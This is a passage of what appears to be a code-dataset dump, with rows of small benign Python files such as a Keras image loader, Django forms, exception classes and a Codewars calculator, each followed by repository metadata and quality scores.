\x00\x00\x20\x00\x00\x... | 49.353448 | 96 | 0.726463 | 1,327 | 5,725 | 3.120573 | 0.209495 | 0.088384 | 0.060855 | 0.023183 | 0.081864 | 0.067375 | 0.067375 | 0.055059 | 0.048539 | 0.042019 | 0 | 0.341248 | 0.028996 | 5,725 | 115 | 97 | 49.782609 | 0.40367 | 0.026376 | 0 | 0.019802 | 0 | 0.752475 | 0 | 0 | 0 | 1 | 0.001437 | 0 | 0 | 1 | 0.019802 | false | 0 | 0.009901 | 0 | 0.029703 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
7687548d795131d0cf62035310d06957afc97d8b | 207 | py | Python | Pythonskripte/ladeBildKeras.py | NoahEmbedded/EmbeddedKWD | 2380d56b0b75bae4fedeb60885358332766f7319 | [
"MIT"
] | null | null | null | Pythonskripte/ladeBildKeras.py | NoahEmbedded/EmbeddedKWD | 2380d56b0b75bae4fedeb60885358332766f7319 | [
"MIT"
] | null | null | null | Pythonskripte/ladeBildKeras.py | NoahEmbedded/EmbeddedKWD | 2380d56b0b75bae4fedeb60885358332766f7319 | [
"MIT"
] | null | null | null | from keras.preprocessing.image import load_img
from keras.preprocessing.image import img_to_array
def ladeBild(pfad):
bild = load_img(pfad,grayscale=True)
array = img_to_array(bild)
return array
| 29.571429 | 50 | 0.782609 | 31 | 207 | 5.032258 | 0.516129 | 0.115385 | 0.282051 | 0.346154 | 0.423077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144928 | 207 | 6 | 51 | 34.5 | 0.881356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
768ab3965826467e7a3ac37cf7cdf5ca92712dca | 301 | py | Python | tools/import_pyglet.py | ibrahemesam/Fos | f2f284a2c7bdc24dafafebb8aa3141ebf225e451 | [
"BSD-3-Clause"
] | null | null | null | tools/import_pyglet.py | ibrahemesam/Fos | f2f284a2c7bdc24dafafebb8aa3141ebf225e451 | [
"BSD-3-Clause"
] | null | null | null | tools/import_pyglet.py | ibrahemesam/Fos | f2f284a2c7bdc24dafafebb8aa3141ebf225e451 | [
"BSD-3-Clause"
] | 1 | 2021-07-11T00:16:46.000Z | 2021-07-11T00:16:46.000Z | * check out the latest pyglet trunk
* copy it to a new aptana project
* do a search and replace for
" pyglet" -> " fos.lib.pyglet"
"(pyglet" -> "(fos.lib.pyglet"
"@pyglet" -> "@fos.lib.pyglet"
In pyglet.__init__, line number 312
'pyglet.%s' -> 'fos.lib.pyglet.%s'
* copy the pyglet folder into fos/lib | 33.444444 | 37 | 0.687708 | 50 | 301 | 4.06 | 0.56 | 0.147783 | 0.236453 | 0.26601 | 0.26601 | 0.26601 | 0.26601 | 0.26601 | 0 | 0 | 0 | 0.011811 | 0.156146 | 301 | 9 | 37 | 33.444444 | 0.787402 | 0 | 0 | 0 | 0 | 0 | 0.304636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
76a84cb376b262e664e3f0fd87bc0f00c83087d8 | 92 | py | Python | legacy/Visualiser.py | JUST0M/procedural-buildings | d51add4bc769823d01f16fbe1d599d97650ec404 | [
"MIT"
] | 2 | 2021-04-13T10:46:20.000Z | 2021-07-04T09:30:49.000Z | legacy/Visualiser.py | JUST0M/procedural-buildings | d51add4bc769823d01f16fbe1d599d97650ec404 | [
"MIT"
] | null | null | null | legacy/Visualiser.py | JUST0M/procedural-buildings | d51add4bc769823d01f16fbe1d599d97650ec404 | [
"MIT"
] | null | null | null |
class Visualiser:
def visualise(self, resultGeom):
raise NotImplementedError | 23 | 37 | 0.706522 | 8 | 92 | 8.125 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.23913 | 92 | 4 | 38 | 23 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
76bbe21e352e70b0edf5eeb9de27a86cd27ae619 | 235 | py | Python | package_name/__init__.py | ostpoller/pyprjtpl | 3ca6a7a122ba6b53aa538c84abebf34d0754381c | [
"MIT"
] | null | null | null | package_name/__init__.py | ostpoller/pyprjtpl | 3ca6a7a122ba6b53aa538c84abebf34d0754381c | [
"MIT"
] | null | null | null | package_name/__init__.py | ostpoller/pyprjtpl | 3ca6a7a122ba6b53aa538c84abebf34d0754381c | [
"MIT"
] | null | null | null | """
Make public API available on top level of package.
Clients can now use the API regardless of the internal
project structure simply by calling:
from package_name import api_function
"""
from .api import * # noqa: F401 F403
| 19.583333 | 54 | 0.748936 | 36 | 235 | 4.833333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031915 | 0.2 | 235 | 11 | 55 | 21.363636 | 0.893617 | 0.86383 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
76bf67f79220282c64e6a095f3aa0454158255e5 | 219 | py | Python | store/forms.py | alainthierry/florist | fd57b4e232d22449beb3c418161dd4fc9fc8928a | [
"MIT"
] | null | null | null | store/forms.py | alainthierry/florist | fd57b4e232d22449beb3c418161dd4fc9fc8928a | [
"MIT"
] | null | null | null | store/forms.py | alainthierry/florist | fd57b4e232d22449beb3c418161dd4fc9fc8928a | [
"MIT"
] | null | null | null | from django import forms
class CustomerForm(forms.Form):
name = forms.CharField(max_length=100)
email = forms.EmailField()
phone_number = forms.CharField(max_length=100)
flower_id = forms.IntegerField() | 31.285714 | 50 | 0.744292 | 28 | 219 | 5.678571 | 0.678571 | 0.176101 | 0.213836 | 0.289308 | 0.327044 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032432 | 0.155251 | 219 | 7 | 51 | 31.285714 | 0.827027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
76ce95ea335f6345500600119fee9883206f26f4 | 151 | py | Python | fatf/fairness/models/__init__.py | So-Cool/fat-forensics | 6fa252a1d90fe543242ef030a5f8a3f9c9f692fe | [
"BSD-3-Clause"
] | 48 | 2019-09-12T04:54:48.000Z | 2022-02-27T01:49:55.000Z | fatf/fairness/models/__init__.py | So-Cool/fat-forensics | 6fa252a1d90fe543242ef030a5f8a3f9c9f692fe | [
"BSD-3-Clause"
] | 4 | 2019-11-04T00:01:15.000Z | 2021-01-27T16:35:29.000Z | fatf/fairness/models/__init__.py | So-Cool/fat-forensics | 6fa252a1d90fe543242ef030a5f8a3f9c9f692fe | [
"BSD-3-Clause"
] | 11 | 2019-09-17T13:39:43.000Z | 2021-07-27T11:04:33.000Z | """
The :mod:`fatf.fairness.models` module holds fairness algorithms for models.
"""
# Author: Kacper Sokol <k.sokol@bristol.ac.uk>
# License: new BSD
| 25.166667 | 76 | 0.721854 | 22 | 151 | 4.954545 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125828 | 151 | 5 | 77 | 30.2 | 0.825758 | 0.92053 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4f162c4100417b80dfcd7e3e9d5b759aaf3789e8 | 290 | py | Python | gcloudtasks/admin.py | damey2011/django-gcloud-tasks | cb37ef94616ee79c5d7cae4b8376ae881b24041d | [
"MIT"
] | 1 | 2020-05-04T03:44:55.000Z | 2020-05-04T03:44:55.000Z | gcloudtasks/admin.py | damey2011/django-gcloud-tasks | cb37ef94616ee79c5d7cae4b8376ae881b24041d | [
"MIT"
] | 1 | 2021-02-15T17:23:59.000Z | 2021-02-15T19:38:03.000Z | gcloudtasks/admin.py | damey2011/django-gcloud-tasks | cb37ef94616ee79c5d7cae4b8376ae881b24041d | [
"MIT"
] | null | null | null | from django.contrib import admin
class TaskAdmin(admin.ModelAdmin):
def get_readonly_fields(self, request, obj=None):
return list(set(
[field.name for field in self.opts.local_fields] +
[field.name for field in self.opts.local_many_to_many]
))
| 29 | 66 | 0.668966 | 40 | 290 | 4.7 | 0.675 | 0.095745 | 0.12766 | 0.180851 | 0.340426 | 0.340426 | 0.340426 | 0.340426 | 0 | 0 | 0 | 0 | 0.241379 | 290 | 9 | 67 | 32.222222 | 0.854545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0.142857 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
4f523b46779704e492606a0901e98f48d54f7b09 | 83 | py | Python | brutus/executors.py | milesgranger/brutus | 0cc5fc4857423f83b81dcfbb3cb5426542cbd264 | [
"MIT"
] | 1 | 2018-02-22T10:46:49.000Z | 2018-02-22T10:46:49.000Z | brutus/executors.py | milesgranger/brutus | 0cc5fc4857423f83b81dcfbb3cb5426542cbd264 | [
"MIT"
] | null | null | null | brutus/executors.py | milesgranger/brutus | 0cc5fc4857423f83b81dcfbb3cb5426542cbd264 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from brutus.aws.lambda_backend.lambda_client import Lambda | 27.666667 | 58 | 0.746988 | 12 | 83 | 5 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013514 | 0.108434 | 83 | 3 | 58 | 27.666667 | 0.797297 | 0.253012 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
4f79a0d5402f163bbc80cc43aa45221da2fd3b05 | 276 | py | Python | src/orbitaz/app/models/__init__.py | w0L-g0R/orbitaz | f4daf028060fe527b8c6eb809f24b011928c2fa2 | [
"MIT"
] | null | null | null | src/orbitaz/app/models/__init__.py | w0L-g0R/orbitaz | f4daf028060fe527b8c6eb809f24b011928c2fa2 | [
"MIT"
] | null | null | null | src/orbitaz/app/models/__init__.py | w0L-g0R/orbitaz | f4daf028060fe527b8c6eb809f24b011928c2fa2 | [
"MIT"
] | null | null | null | from .mission_control import MissionControl
from .luna import Luna
from .worker import Worker
from .forecast import Forecast
from .entso.data import EntsoData
from .entso.specifications import EntsoSpecs
from .jao.data import JaoSpecs
from .jao.specifications import JaoSpecs
| 30.666667 | 44 | 0.84058 | 37 | 276 | 6.243243 | 0.405405 | 0.077922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115942 | 276 | 8 | 45 | 34.5 | 0.946721 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
4f7ae443e96793be6032b8ac9814f200c03840d7 | 153 | py | Python | tools/test/config_test/test21/test_data.py | pradeep-gr/mbed-os5-onsemi | 576d096f2d9933c39b8a220f486e9756d89173f2 | [
"Apache-2.0"
] | 7 | 2017-01-15T16:37:41.000Z | 2021-08-10T02:14:04.000Z | tools/test/config_test/test21/test_data.py | pradeep-gr/mbed-os5-onsemi | 576d096f2d9933c39b8a220f486e9756d89173f2 | [
"Apache-2.0"
] | 1 | 2017-02-20T10:48:02.000Z | 2017-02-21T11:34:16.000Z | tools/test/config_test/test21/test_data.py | pradeep-gr/mbed-os5-onsemi | 576d096f2d9933c39b8a220f486e9756d89173f2 | [
"Apache-2.0"
] | 9 | 2017-04-27T07:54:26.000Z | 2021-08-10T02:14:05.000Z | # Testing basic features
expected_results = {
"test_target": {
"desc": "test basic features",
"expected_features": ["IPV4"]
}
}
| 17 | 38 | 0.581699 | 14 | 153 | 6.142857 | 0.642857 | 0.302326 | 0.488372 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009009 | 0.27451 | 153 | 8 | 39 | 19.125 | 0.765766 | 0.143791 | 0 | 0 | 0 | 0 | 0.426357 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4f953729a37a4ec00acd4fa8f5bac4d68cb18b94 | 261 | py | Python | backend/app/app/schemas/__init__.py | nocookie-analytics/core | 7409e36b6805acf09af618430e56e69c8810e2ca | [
"MIT"
] | 14 | 2021-07-22T09:49:06.000Z | 2021-12-23T18:33:43.000Z | backend/app/app/schemas/__init__.py | nocookie-analytics/core | 7409e36b6805acf09af618430e56e69c8810e2ca | [
"MIT"
] | 95 | 2021-06-10T06:57:30.000Z | 2022-03-29T14:02:37.000Z | backend/app/app/schemas/__init__.py | nocookie-analytics/core | 7409e36b6805acf09af618430e56e69c8810e2ca | [
"MIT"
] | null | null | null | from .domain import Domain, DomainCreate, DomainInDB, DomainUpdate
from .msg import Msg
from .token import Token, TokenPayload
from .user import User, UserCreate, UserInDB, UserUpdate
from .event import EventCreate, EventCreated
from .billing import StripeLink
| 37.285714 | 66 | 0.823755 | 32 | 261 | 6.71875 | 0.5625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122605 | 261 | 6 | 67 | 43.5 | 0.938865 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
96ddda7321f1137e3b5cde74dba72879263f0cdb | 391 | py | Python | src/firmware_variables/__init__.py | guye1296/firmware-variables | c3a8c922c6a91735b544b913e397bc1c2fbdff99 | [
"MIT"
] | 22 | 2020-04-07T14:54:24.000Z | 2022-03-09T15:59:16.000Z | src/firmware_variables/__init__.py | guye1296/firmware-variables | c3a8c922c6a91735b544b913e397bc1c2fbdff99 | [
"MIT"
] | 4 | 2020-04-09T14:57:12.000Z | 2020-04-25T09:54:59.000Z | src/firmware_variables/__init__.py | guye1296/firmware-variables | c3a8c922c6a91735b544b913e397bc1c2fbdff99 | [
"MIT"
] | 1 | 2021-08-30T11:03:30.000Z | 2021-08-30T11:03:30.000Z | from .variables import get_variable, set_variable, delete_variable, Attributes
from .variables import GLOBAL_NAMESPACE, DEFAULT_ATTRIBUTES
from .privileges import privileges, patch_current_process_privileges
from .boot import get_boot_order, get_boot_entry, set_boot_entry, set_boot_order
from .boot import get_parsed_... | 39.1 | 80 | 0.869565 | 56 | 391 | 5.660714 | 0.392857 | 0.113565 | 0.113565 | 0.107256 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092072 | 391 | 9 | 81 | 43.444444 | 0.892958 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
96f944ecd2c3b8e1a52302ac0d56d51ed898c247 | 217 | py | Python | code/python/python-unittest/util.py | aschmied/notes | 81dab9b138595c8ad0f0d2fe75401d332d8bb4e5 | [
"CC-BY-4.0"
] | null | null | null | code/python/python-unittest/util.py | aschmied/notes | 81dab9b138595c8ad0f0d2fe75401d332d8bb4e5 | [
"CC-BY-4.0"
] | null | null | null | code/python/python-unittest/util.py | aschmied/notes | 81dab9b138595c8ad0f0d2fe75401d332d8bb4e5 | [
"CC-BY-4.0"
] | null | null | null | # An example util module that we want to test.
# `reverse` takes a list and returns a new list with the same
# elements, but with their order reversed.
def reverse(l):
return [element for element in reversed(l)]
| 31 | 61 | 0.732719 | 37 | 217 | 4.297297 | 0.810811 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.198157 | 217 | 6 | 62 | 36.166667 | 0.913793 | 0.668203 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
96fd10b709377f30c827f5aea81e1361774908d5 | 914 | py | Python | Python/[7 kyu] basic calculator.py | KonstantinosAng/CodeWars | 9ec9da9ed95b47b9656a5ecf77f486230fd15e3a | [
"MIT"
] | null | null | null | Python/[7 kyu] basic calculator.py | KonstantinosAng/CodeWars | 9ec9da9ed95b47b9656a5ecf77f486230fd15e3a | [
"MIT"
] | null | null | null | Python/[7 kyu] basic calculator.py | KonstantinosAng/CodeWars | 9ec9da9ed95b47b9656a5ecf77f486230fd15e3a | [
"MIT"
] | null | null | null | # see https://www.codewars.com/kata/5296455e4fe0cdf2e000059f/solutions/python
from TestFunction import Test
def calculate(num1, operation, num2):
if operation == "+":
return num1 + num2
elif operation == "-":
return num1 - num2
elif operation == "*":
return num1*num2
elif operation ... | 33.851852 | 77 | 0.650985 | 133 | 914 | 4.390977 | 0.263158 | 0.226027 | 0.395548 | 0.376712 | 0.666096 | 0.666096 | 0.666096 | 0.481164 | 0.321918 | 0.321918 | 0 | 0.086076 | 0.135667 | 914 | 27 | 78 | 33.851852 | 0.653165 | 0.082057 | 0 | 0 | 0 | 0 | 0.0179 | 0 | 0 | 0 | 0 | 0 | 0.478261 | 1 | 0.043478 | false | 0 | 0.043478 | 0 | 0.304348 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8c07a78fbda0ad4b375795ce3b9b17fe947093b5 | 2,466 | py | Python | agate/exceptions.py | captainsafia/agate | 14f41d13f72160a374d2504d9c9ade958f543eab | [
"MIT"
] | null | null | null | agate/exceptions.py | captainsafia/agate | 14f41d13f72160a374d2504d9c9ade958f543eab | [
"MIT"
] | null | null | null | agate/exceptions.py | captainsafia/agate | 14f41d13f72160a374d2504d9c9ade958f543eab | [
"MIT"
] | 1 | 2019-11-26T03:25:18.000Z | 2019-11-26T03:25:18.000Z | #!/usr/bin/env python
"""
This module contains various exceptions raised by agate.
"""
class NullCalculationError(Exception): # pragma: no cover
"""
Exception raised if a calculation which can not logically
account for null values is attempted on a :class:`Column` containing
nulls.
"""
pass
... | 28.674419 | 105 | 0.654907 | 312 | 2,466 | 4.971154 | 0.269231 | 0.05158 | 0.065764 | 0.085106 | 0.453256 | 0.426177 | 0.388781 | 0.279175 | 0.20245 | 0.20245 | 0 | 0 | 0.242498 | 2,466 | 85 | 106 | 29.011765 | 0.8303 | 0.408354 | 0 | 0.470588 | 0 | 0 | 0.101449 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.352941 | false | 0.058824 | 0 | 0.235294 | 0.764706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 4 |
8c558dd62baa7657476f773a7145d59a238a105b | 59 | py | Python | python.py | 170123/demo | 87cb94d3e949fa0118a275121fe86567e5ad3dfb | [
"Apache-2.0"
] | null | null | null | python.py | 170123/demo | 87cb94d3e949fa0118a275121fe86567e5ad3dfb | [
"Apache-2.0"
] | null | null | null | python.py | 170123/demo | 87cb94d3e949fa0118a275121fe86567e5ad3dfb | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#conding:utf-8
print('Hello world')
| 11.8 | 21 | 0.694915 | 10 | 59 | 4.1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018868 | 0.101695 | 59 | 4 | 22 | 14.75 | 0.754717 | 0.559322 | 0 | 0 | 0 | 0 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
4ff51e5d170af7573d80aa9b7651f775551cb4c1 | 220 | py | Python | tiddlywebconfig.py | TiddlySpace/tiddlyspace | 5f2139340d2d9e3a37068b5c58ecb2e599d798b8 | [
"BSD-3-Clause"
] | 32 | 2015-01-04T10:54:29.000Z | 2022-01-22T16:45:24.000Z | tiddlywebconfig.py | jdlrobson/tiddlyspace | 70f500687fcd26e3fa4ef144297a05203ccf0f35 | [
"BSD-3-Clause"
] | 4 | 2016-12-08T14:04:26.000Z | 2018-02-20T10:23:33.000Z | tiddlywebconfig.py | jdlrobson/tiddlyspace | 70f500687fcd26e3fa4ef144297a05203ccf0f35 | [
"BSD-3-Clause"
] | 14 | 2015-01-19T23:18:20.000Z | 2021-06-22T01:10:08.000Z |
# this is required for testing
import mangler
config = {
'log_level': 'DEBUG',
'system_plugins': ['tiddlywebplugins.tiddlyspace'],
'twanager_plugins': ['tiddlywebplugins.tiddlyspace'],
}
| 24.444444 | 61 | 0.640909 | 19 | 220 | 7.263158 | 0.842105 | 0.333333 | 0.492754 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231818 | 220 | 8 | 62 | 27.5 | 0.816568 | 0.127273 | 0 | 0 | 0 | 0 | 0.529101 | 0.296296 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4ff87bd548d64f59605c903d5fc286c7197ed542 | 50 | py | Python | custom/__init__.py | larsmaaloee/BIVA | e47201113d779c6ea1245875714101b2bbfcbdae | [
"MIT"
] | 28 | 2019-10-24T10:35:43.000Z | 2021-07-25T04:28:44.000Z | custom/__init__.py | larsmaaloee/BIVA | e47201113d779c6ea1245875714101b2bbfcbdae | [
"MIT"
] | null | null | null | custom/__init__.py | larsmaaloee/BIVA | e47201113d779c6ea1245875714101b2bbfcbdae | [
"MIT"
] | 6 | 2019-10-24T11:09:58.000Z | 2021-02-19T01:35:38.000Z | from ._deep_vae_evaluator import DeepVAEEvaluator
| 25 | 49 | 0.9 | 6 | 50 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 50 | 1 | 50 | 50 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
4fff2e52f96c6a60ed417269b435f9cd12ebae89 | 244 | py | Python | pykka/_exceptions.py | fjarri/pykka | d1b33b32ba60c6a3e83576ea746b780775e8ff3e | [
"Apache-2.0"
] | 796 | 2015-01-01T14:40:40.000Z | 2022-03-31T09:57:45.000Z | pykka/_exceptions.py | fjarri/pykka | d1b33b32ba60c6a3e83576ea746b780775e8ff3e | [
"Apache-2.0"
] | 123 | 2015-02-06T11:45:55.000Z | 2022-03-25T04:11:21.000Z | pykka/_exceptions.py | fjarri/pykka | d1b33b32ba60c6a3e83576ea746b780775e8ff3e | [
"Apache-2.0"
] | 103 | 2015-01-13T10:34:27.000Z | 2022-02-23T12:47:10.000Z | __all__ = ["ActorDeadError", "Timeout"]
class ActorDeadError(Exception):
"""Exception raised when trying to use a dead or unavailable actor."""
pass
class Timeout(Exception):
"""Exception raised at future timeout."""
pass
| 17.428571 | 74 | 0.688525 | 27 | 244 | 6.074074 | 0.666667 | 0.219512 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.196721 | 244 | 13 | 75 | 18.769231 | 0.836735 | 0.409836 | 0 | 0.4 | 0 | 0 | 0.157895 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.4 | 0 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
4fff637b3efb4dcc87fe43bc769fe4b45a02f911 | 132 | py | Python | Premier-eye.API/sockets/sockets.py | Sapfir0/premier-eye | 26bb27e5f804c2e9375cb6f5edebad58e7b5dffe | [
"MIT"
